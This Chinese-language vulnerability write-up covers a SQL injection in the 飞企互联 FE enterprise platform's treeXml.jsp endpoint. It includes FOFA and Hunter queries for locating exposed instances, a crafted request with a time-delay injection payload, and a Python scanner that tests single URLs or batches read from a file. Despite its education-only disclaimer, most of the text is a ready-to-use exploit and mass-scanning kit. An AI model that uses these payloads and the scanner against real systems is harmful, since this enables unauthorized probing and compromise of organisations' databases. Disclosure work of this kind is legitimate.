声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
漏洞描述
飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。其treeXml.jsp
接口存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句
漏洞复现
1)信息收集
fofa:app="FE-协作平台"
hunter:app.name="飞企互联 FE"||app.name="飞企互联 FE 6.0+"
无论前方道路多么崎岖,只要心中有光,脚下就有力量,你定能抵达梦想的彼岸!加油!🌟
2)构造数据包
GET /sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function HTTP/1.1
Host:ip
代码解释:
/sys/treeXml.js%70
: 这看起来像是一个请求的脚本文件路径,其中%70
是URL编码,解码后应该是p
,所以完整的文件路径是/sys/treeXml.jsp
。;WAITFOR DELAY '0:0:5'--
: 这是SQL Server特有的一个等待命令,它会让SQL Server等待指定的时间(例子中是5秒)。&type=function
: 这是另一个查询参数,type
的值是function
。
响应时间延长至5秒,证明命令被执行。
测试工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 导入所需的模块
import http.client
import ssl
import argparse
from urllib.parse import urlparse
import time
# 定义颜色代码,用于终端输出高亮显示
RED = '\033[91m'
RESET = '\033[0m'
def check_vulnerability(url):
try:
# 解析URL,获取协议、域名和路径
parsed_url = urlparse(url)
# 构造用于检测SQL注入漏洞的URL路径
path = parsed_url.path.rstrip('/') + "/sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:3'--&type=function"
# 根据URL协议创建HTTP或HTTPS连接
if parsed_url.scheme == "https":
# 忽略SSL证书验证
conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())
else:
conn = http.client.HTTPConnection(parsed_url.netloc)
# 记录请求开始时间
start_time = time.time()
# 发送GET请求
conn.request("GET", path)
# 获取响应
response = conn.getresponse()
# 计算响应时间
elapsed_time = time.time() - start_time
# 如果响应时间在3到6秒之间,可能存在SQL注入漏洞
if 3 < elapsed_time < 6:
print(f"{RED}URL [{url}] 可能存在飞企互联FE企业运营管理平台 treeXml.jsp SQL注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except (http.client.HTTPException, ConnectionResetError) as e:
# 打印请求失败的错误信息
print(f"URL [{url}] 请求失败: {e}")
except Exception as e:
# 打印其他异常的错误信息
print(f"URL [{url}] 遇到未知错误: {e}")
def main():
# 创建参数解析器
parser = argparse.ArgumentParser(description='检测目标地址是否存在飞企互联FE企业运营管理平台 treeXml.jsp SQL注入漏洞')
# 添加URL参数
parser.add_argument('-u', '--url', help='指定目标地址')
# 添加文件参数,用于读取包含URL列表的文件
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
# 解析命令行参数
args = parser.parse_args()
# 如果提供了URL参数
if args.url:
# 如果URL没有协议头,添加http协议头
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
# 检测URL是否存在漏洞
check_vulnerability(args.url)
# 如果提供了文件参数
elif args.file:
# 读取文件中的URL列表
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
# 如果URL没有协议头,添加http协议头
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
# 检测每个URL是否存在漏洞
check_vulnerability(url)
if __name__ == '__main__':
# 程序入口
main()
运行截图: